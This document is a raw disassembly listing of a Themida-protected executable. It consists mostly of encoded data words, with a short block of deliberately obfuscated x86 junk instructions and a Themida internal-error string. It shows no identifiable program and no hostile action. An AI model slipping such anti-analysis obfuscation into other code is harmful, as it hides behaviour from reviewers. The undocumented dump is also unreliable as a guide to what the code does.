dd 2556220Ch, 0CBB5507Ch, 0FE2C4FC3h, 0F824CD63h, 331DB65Dh
dd 0D4E4F667h, 1CAEB411h, 49EBh, 7F0A4F00h, 7525318Bh
dd 0C0C3D8F2h, 3F726E30h, 0D51B05A6h, 49A35B67h, 9949DFB2h
dd 0A35B3AABh, 0C8B28549h, 2CB125FCh, 11827000h, 5C49A3F2h
dd 0A252E889h, 0A3F243B4h, 0D1BB8E49h, 25E4F605h, 0CCB64F7Ch
dd 28D1h, 7F0A4700h, 3725318Bh, 49A3F2C9h, 0CC98B3D6h
dd 0FABA40FEh, 0E98A2BCAh, 2CB1258Fh, 0F60B6500h, 47D0FFA8h
dd 0F2DC7D18h, 0FE9E3226h, 25A8FFFFh, 0F2168775h, 996149A3h
dd 0A3F23AABh, 11B28549h, 847C0427h, 67953EEEh, 7A0D3DCCh
dd 3A8C4A90h, 6437479Eh, 67DB4BCEh, 6BFA236Bh, 0A0D07981h
dd 0AF50E717h, 0CEBC6C1Ah, 43997F5Dh, 1846D5A8h, 533DD67Dh
dd 1FB5A930h, 2F33EC6Fh, 55CCF113h, 6909E869h, 1E08A95Bh
dd 99CD67D8h, 38DFB243h, 99CCFD6Ch, 0F5432643h, 0B8E0E2F3h
dd 0F3BE41Fh, 4630C970h, 1052h, 7AE7B600h, 0BE49A3F2h
dd 0C162F78Eh, 0C9h, 8A820A37h, 0EC1C06F4h, 845747A2h
dd 921345EEh, 8720C766h, 78AA51E6h, 58D36DDh, 0B859EC1Fh
dd 346A3422h, 52254197h, 46E113BCh, 4F112DB0h, 0A8BF7671h
dd 8609B7BEh, 0F15F9AEFh, 32331D60h, 15BE6500h, 0F374A78Dh
dd 0E38425C0h, 0DC75A44Dh, 0AAB29C35h, 8C5DD2BCh, 0A43A0D3Bh
dd 0DD9506F4h, 0E4D23787h, 3787DD73h, 9063EBBEh, 0C5F59EA6h
dd 43C0836Ah, 90267FF8h, 86F931A2h, 8A97C37h, 11F0EF72h
dd 99C8D56h, 4171181Fh, 3931D0A6h, 9AC9EE77h, 79619h, 881D4E00h
dd 85204CF3h, 801B49F0h, 7C1544EBh, 740D40E7h, 712C44DFh
dd 670EA33Eh, 5F069B3Ah, 5E059A2Dh, 3502972Eh, 9268D9C7h
dd 9CB34399h, 69FC2CCAh, 6C0B3BC2h, 68FB2DD6h, 253E28C1h
dd 0C36DBB74h, 605FF493h, 19AEC075h, 5267h, 820ACB00h
dd 0F236A795h, 4E7A49A3h, 0B35427AFh, 0F7F92F1Dh, 0C19447A2h
dd 0CC53822Bh, 0C8610899h, 7EE78027h, 0E9056481h, 2E473191h
dd 9102F0A0h, 0DC439C07h, 6CD91F09h, 99439C07h, 6F6668B6h
dd 591FB6ABh, 0B4ABBA9h, 0C295439Ch, 4EE4D8h, 0A480000h
dd 0D46D9C82h
dd 44ED9D33h, 78D98011h, 0A3458F65h, 604AEBE4h, 0A27C481Ah
dd 5D820547h, 0D749E9A4h, 12E5DFC9h, 21B4E46Bh, 22B5E58Ch
dd 524AD27Bh, 9AE4CEBCh, 6111419Bh, 959A0273h, 7F16463Dh
dd 0F6B73FD8h, 0A48E2FC6h, 0D042D7AAh, 0EF9FBA3Eh, 0A3F29001h
dd 1E08DB49h, 0E57B73FBh, 0D62E7262h, 18024996h, 3E782210h
dd 603347A2h, 53EE21CAh, 302913ACh, 0F08BB962h, 72B0C006h
dd 46CE838Ah, 0F0CAB84Eh, 0B8124DCh, 0CE1FA238h, 0D76990ECh
dd 48D6EFD9h, 0A639AA98h, 0B1847D1Eh, 361CA4C7h, 1B8C7A06h
dd 667D1EA6h, 0B24BF293h, 22CB7B11h, 15AE55F0h, 1EA6D041h
dd 0B9481B7Dh, 0B24BF28Dh, 86D2C0C8h, 4D7B1D9Dh, 0B3BE47Ah
dd 30D76Ch, 6D118270h, 895C7717h, 7DFD12E8h, 0D6052EE7h
dd 60E55h, 95C600h, 0FD98C46Bh, 0F893C168h, 0F48DBC63h
dd 0EC85B85Fh, 0E9A4BC57h, 0DF861BB6h, 0D77E13B2h, 0D67D12A5h
dd 0AD7A0FA6h, 90E0513Fh, 142B4399h, 74FC2C42h, 0A3F21586h
dd 0EC8D6049h, 90BE45h, 0A3F2A112h, 7FF0DE49h, 0CA49A3F2h
dd 0FB9C6FF7h, 1D159D66h, 39CF9987h, 0B78A479Eh, 0C05B8910h
dd 61B1A3EAh, 5FE00FFAh, 5A3h, 0F68B2A5Bh, 0EF84234Fh
dd 0EA7F1A48h, 0E4791443h, 0E2770A3Dh, 41742F47h, 47741BB0h
dd 407219AEh, 396910A5h, 0CE3C099Eh, 99906FE0h, 0D1A3BA43h
dd 0A795820Ah, 49A3F236h, 0F2148573h, 8C5F49A3h, 0FA903104h
dd 9E3A460Ch, 174AF347h, 0C79A947Eh, 0D06B9920h, 61B189FAh
dd 39BAE9FAh, 543h, 962BCAFBh, 8F24C3EFh, 8A1FBAE8h, 8419B4E3h
dd 8217AADDh, 0E114CFE7h, 0E714BB50h, 0E012B94Eh, 0D909B045h
dd 6EDCA93Eh, 998F0F80h, 71435A43h, 0FD05A225h, 2534A851h
dd 0A3B1C637h, 9D3E1149h, 100890B3h, 0F8BA8C7Ah, 0B285479Dh
dd 0BB56840Bh, 6172ACE5h, 66E716FAh, 4E7h, 42D76E9Fh, 3BD06F9Bh
dd 36CB6694h, 30C5608Fh, 26BB5689h, 85B8738Bh, 83B057ECh
dd 7CAE55EAh, 7DAD54E9h, 1A8855EAh, 998FBB2Ch, 1DEF0643h
dd 0C269FC2Ch, 0EE98B134h, 1D8F4302h, 15AE55F0h, 59898A74h
dd 0C05317BEh, 0FD98C876h, 1C0ABA68h, 49A329ABh, 383923F6h
dd 0B6517F08h, 2ED5760Fh, 0A328F462h, 0B154E49h, 0C55AED1Dh
dd 0E67C74FCh, 9D715EF8h, 923BEB47h, 8821C865h, 98E043B4h
dd 0D1BB8E43h, 51E416D7h, 41711AB0h, 3A6A11A6h, 0B666F49Bh
dd 98E057C8h, 0E5CFA243h, 0AC423AC2h, 9327C1BEh, 0A124EC41h
dd 3BE0E476h, 1E8F63D7h, 693D8E44h, 0B65FF596h, 0B35AEF86h
dd 31C4F683h, 0A950F18Ah, 0EA807800h, 8D434EFCh, 7046193Bh
dd 0EE774803h, 0C0788B7h, 0C4000004h, 0C66D0293h, 0BF66FB9Ah
dd 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh, 25C0ED94h
dd 1CB7E990h, 15B0E087h, 5745B380h, 43998DE6h, 2C481A31h
dd 3BC269FCh, 2DD66C0Bh, 79806AFDh, 0BC2D1BCBh, 749A3F2h
dd 9F274A34h, 5CF28DB9h, 0A3F1FD6Eh, 0D4754849h, 8A6503Eh
dd 0A06147A3h, 942DD46Dh, 13804CF3h, 40439CD8h, 0C80DD35Dh
dd 0FE1FB5D5h, 0AB992955h, 439CE03Ah, 2711B285h, 5233h
dd 86B25B00h, 0BDA740E7h, 0C2820AF1h, 5B808C18h, 4EE915EAh
dd 0C6760CADh, 809A1643h, 6F02920h, 0A2A53EC0h, 966947h
dd 5CA5FA7Dh, 2BBAFC72h, 5A735DF8h, 9CA9218Eh, 0DD6B4E43h
dd 0B608BA1Bh, 0E3201Fh, 0C5480000h, 80B24D76h, 6ABA7CE5h
dd 2CAC7862h, 3BC269FCh, 54D76D08h, 530A046Ah, 45E00D1Ah
dd 7A64059Eh, 0C750D361h, 46A32F7Bh, 0B0E0E1CBh, 30E06E15h
dd 0A3B3D142h, 0BA491C49h, 0AD46ED88h, 592C2C3h, 0A9F40D3h
dd 0EA85B35Ch, 2614AA43h, 49A3B3B5h, 0FD432D00h, 49A3AFD1h
dd 31C66191h, 25BB5A8Ah, 0AF168775h, 8E6149A3h, 5AE28BA4h
dd 0F0DECC62h, 3B47A28Fh, 820AD368h, 5644F48Ah, 439C7FE5h
dd 6B735D30h, 94E0ED7Dh, 0CB613441h, 0C156EF22h, 784EE71Ah
dd 0F07AD92Dh, 0A41D9ECDh, 5C000002h, 5E059A2Bh, 57FE9332h
dd 52F98E29h, 4EF58A23h, 5AF58A1Bh, 0C1548742h, 0BD58852Ch
dd 0B44F8128h, 0AD48781Fh, 0EFDD4B18h, 43998D7Eh, 2CE0B2C9h
dd 2CD368F9h, 26D469FCh, 1B743BA3h, 7E681AA6h, 8A820AB2h
dd 18406F4h, 14AF47A3h, 0D78F2DDFh, 0F79E3F4Ah, 0F590C069h
dd 85CBB54Eh, 439C3818h, 12D46245h, 1FB679C3h, 0B519h
dd 0FC2C7D00h, 10B14C7Bh, 28AFE269h, 17BE5FFAh, 15B0E089h
dd 0EEB9E52Bh, 497949A3h, 427219AEh, 0CB53FCA3h, 9F8D3DD3h
dd 49A3EE2Eh, 0B4BCA679h, 8C2B5B04h, 1C624CE5h, 47A2CF2Eh
dd 4811A679h, 4432C8C0h, 4195259Fh, 0D776A34Ch, 8A20F3EDh
dd 7E13AEE1h, 447720D0h, 156CDDB1h, 0E4B73D93h, 2BC6F9FAh
dd 7B25FA55h, 58D908F0h, 1C7h, 22B74E7Fh, 1BB04F7Bh, 16AB4674h
dd 10A5406Fh, 69B3669h, 6598536Bh, 639037CCh, 5C8E35CAh
dd 5D8D34C9h, 0FA6835CAh, 998C9B0Ch, 0FDCFE643h, 0D368F92Ch
dd 497BFC2Ch, 0CA780DAEh, 0F2BB2C1Ah, 330649A3h, 0FC2C7D49h
dd 8B34C269h, 0D3D4BE59h, 0A66F04A3h, 3CF15E1Eh, 4314CB55h
dd 0AC5C0CA2h, 0A3844DBEh, 0E2D09849h, 49A38471h, 5E48E9BCh
dd 0A289E218h, 0D0E27D47h, 0B2A37854h, 0B7832ACBh, 439C1F4Ah
dd 448A9477h, 1FB68F91h, 2F4Bh, 7C25AF00h, 7811B849h, 0EBE36B8Eh
dd 0E37EAC55h, 0E103F1F9h, 8C47A2F6h, 5F009FCBh, 0E67FECB8h
dd 0C9AC439Ch, 0CC5C797Fh, 387E1FB5h, 0E2000000h, 0A3F279E7h
dd 2D139B49h, 2EC46500h, 12A5D57Eh, 0A3F2CD3Eh, 5B451849h
dd 0C8FAA353h, 3ED862Dh, 0A2F5CFBDh, 0B1471A47h, 9A41DC08h
dd 0FD8F9801h, 2C7202B7h, 0AC93B42h, 44F48A82h, 0F235A694h
dd 0AD8049A3h, 8837DC3h, 0D9047A3h, 10510D31h, 9E988249h
dd 0D2B235CBh, 6F0036FDh, 69354E38h, 439C0BFCh, 0F6F84629h
dd 1FB6A1DFh, 23FDh, 7AE76100h, 9C49A3F2h, 0E7C95414h
dd 3230B29h, 991CCC62h, 0BC7461D2h, 448A74A3h, 47A21D56h
dd 0C739CEA1h, 0F48A820Ah, 0F5749571h, 311FC65Ah, 49A334C0h
dd 0AD97380Bh, 7AC5B7A5h, 3D10479Dh, 48DF0F96h, 49DC0CB3h
dd 3ED70AB3h, 3B6F3B54h, 8E2AB02Dh, 0D3032DFBh, 0C8F89F34h
dd 0D0FF862Dh, 0F11C9F35h, 0CD6C71E8h, 0A8132C16h, 0A31402B2h
dd 0EED4693Ch, 48D6311Bh, 0F629AEDEh, 7E25BA5Bh, 7821B74Eh
dd 6C05AC45h, 8E86982h, 5E000000h, 0B74A7C25h, 2C1CFECDh
dd 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h
dd 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push esi
mov esi, 2AC800C4h
or esi, 1C3D7C6Ch
dec esi
not esi
add esi, 6AFD05D0h
push ecx
mov ecx, 7B452C86h
or ecx, 4F3E7D2Ah
or ecx, 2CEC5F53h
sub ecx, 5209BD7Bh
xor esi, ecx
pop ecx
mov edx, esi
pop esi
push esp
mov ebx, [esp]
add esp, 4
push esi
mov esi, edx
push edx
mov edx, esi
mov [ebx+8], edx
pop edx
pop esi
push dword ptr [esp]
pop ebx
add esp, 4
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_544543
; ---------------------------------------------------------------------------
dd 0D4142C8h, 5AC2D53Eh, 3E991C9h, 0B8DED5A2h, 60A6899h
dd 0E0FFC503h, 13B062F3h, 164E7E4Ch, 59E2FB2h, 7460DED1h
dd 6C000905h, 5A1331Bh, 2CCB2D87h, 37DBED83h, 12BCF311h
dd 21475D91h, 4C418DC1h, 1AD0CF13h, 798A0E9Ch, 12E8h, 298EF600h
dd 3B62F988h, 13A3C627h, 5C8487C6h, 0E9BD10CBh, 6, 0B48D448Fh
dd 0E85A99FCh, 9, 0E0EB5122h, 0CEFB25ADh, 5FFE8BACh, 673FC281h
dd 66600000h, 0A1FBD181h, 10E9h, 0DCCB8800h, 441D41B2h
dd 0B5526A9Bh, 0F054A652h, 686155h, 8B000000h, 810F5ED8h
dd 3, 0FFF88B66h, 59F81634h, 0C18B6650h, 0F0F1815Bh, 0F00CE5Dh
dd 384h, 0EDB8000h, 0A4ADC181h, 810F480Dh, 2, 0E981E78Ah
dd 504195B5h, 0C89FE8Bh, 3810F32h, 66000000h, 14E9C28Bh
dd 77000000h, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 7D24D3FBh
dd 837589EEh, 5B5303EEh, 81FD8A4Eh, 0FF9998FEh, 98850FFFh
dd 0FFFFFFFh, 0B8Dh, 5820F00h, 0B8000000h, 4597F25Fh, 83E9h
dd 52515300h, 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h
dd 66D8033Ch, 45503B81h, 57850Fh, 5B8B0000h, 245C0378h
dd 24738B1Ch, 1C247403h, 207B8B56h, 31C738Bh, 320247Ch
dd 0FC202474h, 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h
dd 84028A04h, 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h
dd 0B70FE1D1h, 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h
dd 0E9C03300h, 0FFFFFFF1h, 0EE8CA8Bh, 0DE000000h, 3FD8D82Bh
dd 7F136A22h, 34B1CECh, 10E944h, 2E3B0000h, 639BAB31h
dd 0DF8DB139h, 1FC23803h, 815E5E38h, 60DCC6h, 0EE900h
dd 0CD0000h, 0BBE30789h, 12FB4977h, 7C46A794h, 17F768h
dd 8C0F5000h, 3, 5AD18B66h, 11E959h, 26530000h, 0EEE97245h
dd 22F619BDh, 341CE73Bh, 8B866272h, 0F781601Eh, 5FB77BA4h
dd 61CA8B66h, 0C5D2C381h, 0B8666385h, 0F381D867h, 116DACC3h
dd 0AE8h, 6CD58800h, 825A1560h, 807AF512h, 815870E8h, 0DF69CBEBh
dd 0C7BF0F49h, 0B70F1E89h, 4EE83D1h, 0CE9h, 0C1FDB700h
dd 0D7BEBEC7h, 3D4D77EFh, 1E983A4h, 1D850Fh, 0BE90000h
dd 29000000h, 67BFBE0h, 29EEDD61h, 30E964A8h, 6C000000h
dd 939A4496h, 0E95AECBDh, 12h, 55EBA4F0h, 884F14DCh, 0EB7AA82Fh
dd 0B48B8753h, 6CE910A2h, 0FFFFFFFFh, 29B21461h
db 64h, 0FBh, 0EFh
aLRS db '▀эr:И',0 ; DATA XREF: Themida_:0053F6D4o
; Themida_:0053F7B8o
db 4, 2 dup(0)
dd offset loc_41C7B4
a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah
db 0Dh,'Please, contact support@oreans.com. Thank you!',0
align 4
dd 0E4h dup(0)
dd 56h, 45h, 0
dd 1108E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0B338BA3Eh, 0A8B530C7h, 299D3160h
db 11h, 7, 6
byte_5737F7 db 8Bh ; DATA XREF: Themida_:0053E06Co
dd 729E585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 5FA90CF9h, 2CE50A31h, 39F9F9E8h
dd 0F042444h, 5585h, 0BD83F800h, 6070B79h, 47840F00h, 60000000h
dd 10ED8D89h, 81660607h, 61107BC6h, 3963858Dh, 6A0607h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0D8AC74C3h, 70FCBDA3h, 0F5ABA57Bh, 810FE0FFh, 6, 0A2DB589h
dd 858B0607h, 6071085h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0F7C35141h, 0BF25E91Bh, 4799501h, 39F50607h
dd 0F042444h, 6B85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 7948B13Ah, 2E7DE471h
dd 8B6087C3h, 70FCD9Dh, 0D8D8906h, 6106071Ah, 700585C7h
dd 1060Ah, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 96C2F9C3h, 0C50F8F42h, 8B6660F9h
dd 0E99D09FBh, 61060701h, 57006A60h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 8653FC66h
dd 9E0B003Fh, 0B859D09h, 5E90607h, 0F8000000h, 0
dd 1B8h, 95858700h, 0B060A71h, 0FFF675C0h, 709CDB5h, 0FD858F06h
dd 6A060A6Fh, 0FFFF6A20h, 7089195h, 35BD8306h, 6071Ah
dd 6A0874h, 0D6995FFh, 0BD830607h, 6070A85h, 680D7401h
dd 80h, 95FFFF6Ah, 6070891h, 0F18B6660h, 57006A61h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0CA6533CCh, 4C7EAA07h, 31B531CFh, 0E9060719h, 0Ch, 0FD7E3D0Fh
dd 64333D02h, 0E99F6235h, 0B8h, 11E900h, 0CEBA0000h, 0FC7B39BDh
dd 0E9B2D496h, 0E642772Eh, 8BAA3D23h, 0F9282454h, 33198589h
dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 825DC4C3h, 0CD7AD2ABh, 3CBEF833h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0F1E7C353h, 79E1E874h, 958960E8h, 6072359h
dd 4D59D89h, 3610607h, 89242474h, 73249BDh, 0E9AD6606h
dd 0Fh, 0FE36D3CDh, 1F11A9F6h, 0F18D271h, 0F957F6B4h, 24244403h
dd 0DF816660h, 0CB81BEBDh, 260489D0h, 0CE99061h, 86000000h
dd 9C3E22CBh, 0DA7FD12Ch, 5005FD93h, 12E95250h, 39000000h
dd 0E486368Bh, 9FEE9B08h, 0A7CBA145h, 651C4647h, 0F310F1Dh
dd 682h, 810F00h, 5A000000h, 850F9058h, 6, 1E758D89h, 408B0607h
dd 6860F78h, 89000000h, 71A059Dh, 5BD8306h, 60A70h, 134850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0EB0F95C3h, 28CD61D6h, 890F70D6h, 6, 0CA99589h
dd 8B600607h, 70DED8Dh, 5061F806h, 0F605250h, 86h, 7E900h
dd 0D2390000h, 2D7F5A10h, 310F6128h, 9E9h, 2B3DAA00h, 5FB06FB1h
dd 585AB73Eh, 0F240489h, 0B81h, 0C6806000h, 0E98D0175h
dd 61060729h, 2C24448Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 76C35646h, 14F0AD0Dh, 758E8A73h, 159D8960h
dd 60060713h, 0AF2BB66h, 4ECAC181h, 6161225Bh, 75F48060h
dd 0BE605061h, 10FE43B0h, 9E8h, 55890E00h, 0A4EC67A2h
dd 4CB039F7h, 4896158h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9E98515h, 44000000h, 0C2ED8F90h
dd 56F36A82h, 3CEB858Dh, 6060060Ah, 8E0Fh, 89610000h, 7127985h
dd 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0C3C35545h, 4403F9BEh, 6A2824h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD6A9CC3h
dd 7820Fh, 890F0000h, 1, 8E9F9h, 57B10000h, 23ABB93Ah
dd 408BD870h, 0DBB6018h, 611ED07Dh, 0D880F40h, 60000000h
dd 30298D89h, 81660607h, 614A0CD0h, 70018589h, 6A060Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 3C4590C3h, 0F9FC75E6h, 55006A58h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0E2B5E292h
dd 318D892Eh, 8B06072Fh, 6A7870h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 4BDFC5C3h, 1BE75084h
dd 6017EAB9h, 0BB66C3B0h, 2961EA56h, 718C58Dh, 1CC68306h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h
dd 0E957B7B1h, 6, 5C9FEF4Fh, 6A96CF14h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4B1C356h
dd 0E2184FA4h, 1B50133h, 81060729h, 24247Ch, 0F100000h
dd 15587h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 519501D1h, 0F060704h, 689h, 0F9958900h
dd 9006071Eh, 0E9605250h, 9, 0AF8C0D6Fh, 78BF10BDh, 6340BED9h
dd 0F613CF9h, 5A566031h, 0A1221DBEh, 585A6163h, 60525050h
dd 310F5250h, 14E8585Ah, 0E000000h, 2673F002h, 622A70E5h
dd 0E39E064Eh, 7F3979C0h, 5B9BD2B2h, 0E9310F61h, 0Fh, 0EB885BE1h
dd 0F770C889h, 7C69335h, 5A18A5D6h, 6A9058h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 728ADFC3h
dd 0BD893FE8h, 6071255h, 2824448Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 25C35646h, 3CF3B818h, 10E9B994h
dd 4A000000h, 4ACBEE4Fh, 0F5DB5D7Fh, 570E5AC9h, 90FF44F1h
dd 66605250h, 61097AB9h, 840F310Fh, 14h, 0FE9h, 49398B00h
dd 98E6A9E5h, 17C968F5h, 0E8F2F51Ah, 0E950585Ah, 6, 0C30B13B6h
dd 0F590A2D2h, 65D18160h, 29364262h, 732DDBDh, 858D6106h
dd 60A3CEBh, 0C8E0Fh, 7E90000h, 43000000h, 0CC61C74Ah
dd 0D0FFECEAh, 28A19D89h, 0E9960607h, 0Dh, 0B86936C4h
dd 52F57A2Ah, 84E733E6h, 2474033Ch, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 5E297CA5h
dd 607D9205h, 8059589h, 858B0607h, 6071A7Dh, 39958961h
dd 0E9060713h, 7, 0DC919211h, 8DB69B70h, 72BF9BDh, 11E906h
dd 0C6160000h, 5534F5ECh, 981BF2Fh, 856B32A4h, 0AD48674Eh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5C35343h
dd 68E0Fh, 9D090000h, 60704C1h, 0C1B52960h, 0F060729h
dd 28Bh, 61C78B00h, 24247C81h, 10000000h, 9D870Fh, 0B5890000h
dd 60722E1h, 7E990h, 6BEB0000h, 28C0AC3Ch, 0BE95073h, 0A2000000h
dd 0A3C9ECFAh, 0EDAE7EFCh, 2990D7ABh, 71EF19Dh, 24448B06h
dd 50006A28h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 187B252Dh, 29CA3A3Eh, 71DB195h, 52505006h
dd 5E9h, 7C235700h, 310F198Fh, 13E9h, 0BDE4B100h, 2BBEAAC7h
dd 44C267F8h, 10007E16h, 98CEEF98h, 489585Ah, 6E924h, 0CAD0000h
dd 0B7A0AD3Dh, 3CEB858Dh, 0BD89060Ah, 60706ADh, 3FCD0FFh
dd 0F9242444h, 179BD31h, 0F8AB0607h, 0FA81h, 820F0001h
dd 71Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0D9C35141h, 12698D89h, 0BD8D0607h, 6071031h, 6AADFCh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0B5013DC3h, 6072F31h, 6800Fh, 85290000h, 6070725h, 24247C81h
dd 10000000h, 116870Fh, 3600000h, 708C98Dh, 161F506h, 7117D9Dh
dd 50609006h, 33BA6652h, 66310F9Fh, 585ACE8Bh, 61605061h
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 36D48AD1h, 608250F9h, 9D0974CBh, 6071A0Dh
dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0C7C35747h, 0C3B13792h, 90293870h, 0C870Fh, 8A0F0000h
dd 6, 820Fh, 0F500000h, 0A88h, 60525000h, 60310F61h, 90585A61h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5EC35343h
dd 43B0C371h
dd 0AE960B0h, 0B7000000h, 0FFD56DCBh, 53BA7BCFh, 850B5624h
dd 6072031h, 9D096158h, 6070D3Dh, 3CEB858Dh, 6A060Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 894E75C3h, 732D98Dh, 60D0FF06h, 4CDB503h, 8A0F0607h
dd 3, 61DA8B66h, 24244403h, 68E0Fh, 9D890000h, 6071A6Dh
dd 168A0F90h, 0E9000000h, 11h, 9CCD2D42h, 0A0394045h, 0C6DA043h
dd 0BCD9C67Dh, 13E95065h, 7E000000h, 4A0258h, 6A8BDD6Ch
dd 8FAF0E62h, 0E71EC012h, 6A90EC89h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DE84C351h
dd 0C1E44508h, 6758D89h, 6AAB0607h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F203C353h
dd 85B53360h, 0F06070Ch, 6061C3B7h, 0FC3BF0Fh, 28Dh, 61616000h
dd 2289BD8Dh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0B7A607C3h, 84021AB2h, 8D298E69h
dd 6071321h, 8E9ADh, 0B1F50000h, 98E9C431h, 7C815D9Eh
dd 2824h, 870F1000h, 0EEh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0CCC35040h, 0A1D62B1Ch, 89874C36h, 70BFD9Dh
dd 0E9609006h, 7, 4756C630h, 60013A8Fh, 0FE8h, 0C81CBB00h
dd 7F013F0Dh, 110D128Ah, 0B7547Bh, 810F5Fh, 61000000h
dd 6E95061h, 8D000000h, 3E7019CFh, 830F90C2h, 6, 7798589h
dd 448B0607h, 800F2C24h, 8, 0C98D8B60h, 61060706h, 60525050h
dd 310F5250h, 6160585Ah, 0E9310F61h, 0Bh, 91216D9Fh, 0C497EF1h
dd 5A3C3199h, 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 73C35242h, 0EB858DD9h, 0F9060A3Ch, 6AD0FFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 15CC3AC3h, 8BF960FCh, 440361C1h, 0B5892824h, 6070EF5h
dd 50006AABh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 55858928h, 5E060721h, 70018DFFh, 0BD83060Ah
dd 60A7001h, 330A7500h, 0CCB58DC0h, 0FF060A7Eh, 81AD56E6h
dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 0A3CEB85h
dd 3D0FF06h, 97282444h, 858ADF8Bh, 60A6FFDh, 474C084h
dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h
dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h
dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h
dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh
dd 4C6835Eh, 331985FFh, 5DE90607h, 5EFFFFFFh, 6820Fh, 85010000h
dd 60712FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 77C35242h, 6C0FC0A9h, 15BD29C2h, 6006070Dh, 12E8h
dd 9AD01800h, 0BEE86BD7h, 68354A59h, 0B6CCED09h, 0E9C76190h
dd 13h, 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 5B6D94D0h
dd 8B61EDB3h, 7331985h, 0F5B58906h, 0D1060728h, 318D89E0h
dd 3060733h, 7228985h, 6E906h, 0EACE0000h, 0FE4DBE6h, 6AF62Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0C802F6C3h, 4B7C7F23h, 0FD906A3h, 181h, 0E996F800h
dd 0Ch, 206C9563h, 0A88CF8EAh, 0EB819151h, 0F5FCAD66h
dd 6A02E0C1h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 1108C352h, 18D89E8h, 306072Ch
dd 72BF985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
